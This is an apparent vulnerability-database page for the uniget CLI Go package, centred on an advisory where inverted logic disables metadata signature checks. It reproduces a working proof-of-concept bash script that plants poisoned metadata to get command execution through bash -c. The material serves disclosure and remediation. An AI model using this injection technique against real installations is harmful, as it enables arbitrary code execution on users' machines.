Vulnerabilities in pkg:golang/gitlab.com/uniget-org/cli

PACKAGE
Advisory Summary

GHSA-fhgh-wq4q-r37x is a HIGH (CVSS 7.8) metadata signature verification only runs vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting uniget CLI libraries in the Go ecosystem. The issue involves metadata signature verification only runs when uniget_ignore_metadata_signature is set. Remediation is available by upgrading affected packages to version 0.28.9.

4 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:golang/gitlab.com/uniget-org/cli

4 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:golang/gitlab.com/uniget-org/cli. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-fhgh-wq4q-r37x - HIGH uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set
GHSA-m6jg-wr9m-cg2f CVE-2026-55062 MODERATE uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability
GHSA-qmcq-xw74-w667 CVE-2026-55061 MODERATE uniget CLI has an EDITOR Command Injection
GHSA-qqq4-5773-pmw5 CVE-2026-45152 HIGH uniget is Vulnerable to Command Injection in tool.Check Leading to Arbitrary Code Execution

GHSA-fhgh-wq4q-r37x at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-fhgh-wq4q-r37x
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product uniget CLI
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-fhgh-wq4q-r37x

To remediate this vulnerability, upgrade all affected uniget CLI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

gitlab.com/uniget-org/cli fixed: 0.28.9
Upgrade gitlab.com/uniget-org/cli to 0.28.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for gitlab.com/uniget-org/cli

How to Check if You Are Affected

To determine whether your application is affected by GHSA-fhgh-wq4q-r37x, inspect your project dependencies for uniget CLI:

inspect dependencies for gitlab.com/uniget-org/cli

Analyze the terminal output to locate any version of uniget CLI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.28.9), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In uniget CLI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named "ignore the signature" is what turns verification on. That matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs. ## Where it is `internal/config/update.go:80-100`: ```go func (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) { if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 { _, err = security.VerifySigstoreBundle( filename, filename+".sigstore.json", ... ) if err != nil { return nil, fmt.Errorf("error verifying sigstore bundle for metadata: %s", err) } } loadedTools, err = tool.LoadFromFile(filename) ``` `cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata: ```go if !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()) || configuration.AutoUpdate || (len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0 && !myos.FileExists(configuration.Prefix+"/"+configuration.GetMetadataFile()+".sigstore.json")) { ``` so a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset. `LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`: ```go func (tool *Tool) RunVersionCheck() (string, error) { logging.Tracef("Running version check for %s: %s", tool.Name, tool.Check) cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'") ``` ## How it got this way The check was introduced correctly. In d12ef12c ("fix: Only accept signed metadata", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE") != "true"`, which is still the right polarity. b68a27d5 ("fix: Accept any non-empty value"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) > 0`. The intent was clearly to accept any truthy value instead of the literal string "true", but the negation was dropped in the rewrite and the meaning flipped. ## Proof of concept Built from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment. ```bash H=/tmp/pochome mkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil cat > $H/.cache/uniget/metadata.json <<'EOF' {"tools":[{"name":"evil","version":"1.0.0","binary":"${target}/bin/evil", "check":"id > /tmp/uniget-rce-proof.txt; echo PWNED","tags":["test"], "description":"poisoned metadata","repository":"https://example.com", "license":{"name":"MIT","link":"https://example.com"}, "sources":[{"registry":"ghcr.io","repository":"uniget-org/tools"}]}]} EOF printf '#!/bin/sh\necho 1.0.0\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil touch $H/.cache/uniget/evil/1.0.0 env -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \ XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \ /tmp/unigetbin --user version evil ``` Observed output: ```text PWNED ``` and `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all. The control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the "ignore" variable is set: ```bash echo '{"not":"a real bundle"}' > $H/.cache/uniget/metadata.json.sigstore.json UNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \ XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \ /tmp/unigetbin --user version evil ``` Observed output: ```text Error: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field "not" ``` So verification runs when the ignore variable is set, and does not run when it is unset. ## Impact Anything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user. ## Suggested fix Invert the condition so verification is the default and the environment variable opts out: ```go if len(os.Getenv("UNIGET_IGNORE_METADATA_SIGNATURE")) == 0 { _, err = security.VerifySigstoreBundle(...) ... } ``` The same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be "the bundle is missing and we are not ignoring signatures". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify. ## Deduplication CVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading. ## How I found it and a note on tooling I was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.

GHSA-fhgh-wq4q-r37x Affected uniget CLI Versions

1 component(s)
Fixed Versions:
0.28.9
Product / Package Ecosystem Affected Versions Fixed Version
gitlab.com/uniget-org/cli
Go
≥ 0.27.4
< 0.28.9
0.28.9

References

Frequently Asked Questions

What is GHSA-fhgh-wq4q-r37x?
GHSA-fhgh-wq4q-r37x is a security vulnerability in uniget CLI involving Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which uniget CLI versions are affected?
Affected versions include releases prior to 0.28.9 across affected packages: gitlab.com/uniget-org/cli.
What version fixes GHSA-fhgh-wq4q-r37x?
Upgrading to 0.28.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is gitlab.com/uniget-org/cli affected?
Yes, gitlab.com/uniget-org/cli is affected in releases prior to 0.28.9. Upgrade your dependency to 0.28.9 or later.
What is the CVSS score of GHSA-fhgh-wq4q-r37x?
GHSA-fhgh-wq4q-r37x has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-fhgh-wq4q-r37x?
GHSA-fhgh-wq4q-r37x is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Go dependencies for GHSA-fhgh-wq4q-r37x?
Run the dependency tree command: 'inspect dependencies for gitlab.com/uniget-org/cli'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fhgh-wq4q-r37x",
  "modified" : "2026-08-17T17:50:34Z",
  "published" : "2026-08-17T17:50:34Z",
  "aliases" : [ ],
  "summary" : "uniget CLI: Metadata signature verification only runs when UNIGET_IGNORE_METADATA_SIGNATURE is set",
  "details" : "## Summary\n\nThe sigstore check on `metadata.json` is gated on the wrong side of the condition. `LoadMetadata` in `internal/config/update.go:81` verifies the bundle only when `UNIGET_IGNORE_METADATA_SIGNATURE` is non-empty, so in a normal run, where nobody sets that variable, the signature is never checked. Setting the variable that is named \"ignore the signature\" is what turns verification on.\n\nThat matters because `metadata.json` populates `Tool.Check`, and `pkg/tool/tool.go:250` runs `Tool.Check` through `/bin/bash -c`. That is the same sink as CVE-2026-45152, and the signature check added in v0.27.1 to close it is the control that no longer runs.\n\n## Where it is\n\n`internal/config/update.go:80-100`:\n\n```go\nfunc (c *Config) LoadMetadata(filename string) (loadedTools *tool.Tools, err error) {\n\tif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) > 0 {\n\t\t_, err = security.VerifySigstoreBundle(\n\t\t\tfilename,\n\t\t\tfilename+\".sigstore.json\",\n\t\t\t...\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error verifying sigstore bundle for metadata: %s\", err)\n\t\t}\n\t}\n\n\tloadedTools, err = tool.LoadFromFile(filename)\n```\n\n`cmd/uniget/main.go:102-105` carries the same flipped condition in the decision about whether to re-download metadata:\n\n```go\nif !myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()) ||\n\tconfiguration.AutoUpdate ||\n\t(len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) > 0 &&\n\t\t!myos.FileExists(configuration.Prefix+\"/\"+configuration.GetMetadataFile()+\".sigstore.json\")) {\n```\n\nso a cached `metadata.json` with no `.sigstore.json` beside it is not refetched either, as long as the variable is unset.\n\n`LoadMetadata` is called from `cmd/uniget/main.go:115` in the persistent pre-run, which means every subcommand loads metadata this way. The sink is `pkg/tool/tool.go:248-251`:\n\n```go\nfunc (tool *Tool) RunVersionCheck() (string, error) {\n\tlogging.Tracef(\"Running version check for %s: %s\", tool.Name, tool.Check)\n\tcmd := exec.Command(\"/bin/bash\", \"-c\", tool.Check+\" | tr -d '\\n'\")\n```\n\n## How it got this way\n\nThe check was introduced correctly. In d12ef12c (\"fix: Only accept signed metadata\", released as v0.27.1) `VerifySigstoreBundle` was called unconditionally. 370d0155 then wrapped it in `if os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\") != \"true\"`, which is still the right polarity. b68a27d5 (\"fix: Accept any non-empty value\"), which is the commit tagged v0.27.4, rewrote that as `if len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) > 0`. The intent was clearly to accept any truthy value instead of the literal string \"true\", but the negation was dropped in the rewrite and the meaning flipped.\n\n## Proof of concept\n\nBuilt from a clean checkout of the v0.28.2 tag with `go build -o /tmp/unigetbin ./cmd/uniget`, then run in user mode against a poisoned cache with no `metadata.json.sigstore.json` present and `UNIGET_IGNORE_METADATA_SIGNATURE` explicitly removed from the environment.\n\n```bash\nH=/tmp/pochome\nmkdir -p $H/.cache/uniget $H/.local/state/uniget/manifests $H/.local/bin $H/.config/uniget $H/.cache/uniget/evil\ncat > $H/.cache/uniget/metadata.json <<'EOF'\n{\"tools\":[{\"name\":\"evil\",\"version\":\"1.0.0\",\"binary\":\"${target}/bin/evil\",\n\"check\":\"id > /tmp/uniget-rce-proof.txt; echo PWNED\",\"tags\":[\"test\"],\n\"description\":\"poisoned metadata\",\"repository\":\"https://example.com\",\n\"license\":{\"name\":\"MIT\",\"link\":\"https://example.com\"},\n\"sources\":[{\"registry\":\"ghcr.io\",\"repository\":\"uniget-org/tools\"}]}]}\nEOF\nprintf '#!/bin/sh\\necho 1.0.0\\n' > $H/.local/bin/evil; chmod +x $H/.local/bin/evil\ntouch $H/.cache/uniget/evil/1.0.0\n\nenv -u UNIGET_IGNORE_METADATA_SIGNATURE HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nPWNED\n```\n\nand `/tmp/uniget-rce-proof.txt` contains the output of `id`. No signature error was raised, even though there is no bundle file at all.\n\nThe control run is the part that pins down the polarity. Same command, same poisoned metadata, only now a `metadata.json.sigstore.json` exists (deliberately not a valid bundle) and the \"ignore\" variable is set:\n\n```bash\necho '{\"not\":\"a real bundle\"}' > $H/.cache/uniget/metadata.json.sigstore.json\nUNIGET_IGNORE_METADATA_SIGNATURE=1 HOME=$H XDG_CACHE_HOME=$H/.cache \\\n  XDG_STATE_HOME=$H/.local/state XDG_CONFIG_HOME=$H/.config \\\n  /tmp/unigetbin --user version evil\n```\n\nObserved output:\n\n```text\nError: error loading metadata: error verifying sigstore bundle for metadata: error loading bundle from path /tmp/pochome/.cache/uniget/metadata.json.sigstore.json: proto: (line 1:2): unknown field \"not\"\n```\n\nSo verification runs when the ignore variable is set, and does not run when it is unset.\n\n## Impact\n\nAnything that can substitute the metadata layer gets command execution as the user running uniget: a compromised or attacker-chosen registry or mirror for `uniget-org/tools`, a tampered tarball on the way into the cache, or a poisoned cache file. The sigstore bundle is the only thing standing between that metadata and `/bin/bash -c`, and right now it is not consulted. Locally this reproduces the CVE-2026-45152 scenario on a supposedly fixed version; the wider concern is that the supply chain check for the tool catalogue is effectively off for every user.\n\n## Suggested fix\n\nInvert the condition so verification is the default and the environment variable opts out:\n\n```go\nif len(os.Getenv(\"UNIGET_IGNORE_METADATA_SIGNATURE\")) == 0 {\n\t_, err = security.VerifySigstoreBundle(...)\n\t...\n}\n```\n\nThe same inversion is needed at `cmd/uniget/main.go:104`, where the re-download decision should be \"the bundle is missing and we are not ignoring signatures\". It would also be worth failing closed when the `.sigstore.json` file is absent rather than treating a missing bundle as nothing to verify.\n\n## Deduplication\n\nCVE-2026-45152 (GHSA-qqq4-5773-pmw5) covers the `tool.Check` command injection itself and is marked patched in v0.27.1. This report is not that finding again: it is that the patch, which was the signature check, stopped running as of v0.27.4 because of the condition rewrite in b68a27d5. The other two published advisories, GHSA-m6jg-wr9m-cg2f and GHSA-qmcq-xw74-w667, are about hook file paths and the EDITOR variable and do not touch metadata loading.\n\n## How I found it and a note on tooling\n\nI was reading the shipped fix for CVE-2026-45152 to see whether the guard covered all the paths that reach `RunVersionCheck`, and the gate condition read backwards on first pass, so I walked the history of that line back to the commit that introduced it. I used AI tooling while investigating, and I built the CLI at v0.28.2 and ran both the exploit and the control myself before writing this up.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "gitlab.com/uniget-org/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.27.4"
      }, {
        "fixed" : "0.28.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/security/advisories/GHSA-fhgh-wq4q-r37x"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/uniget-org/cli"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/uniget-org/cli/releases/tag/v0.28.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-347", "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-17T17:50:34Z",
    "nvd_published_at" : null
  }
}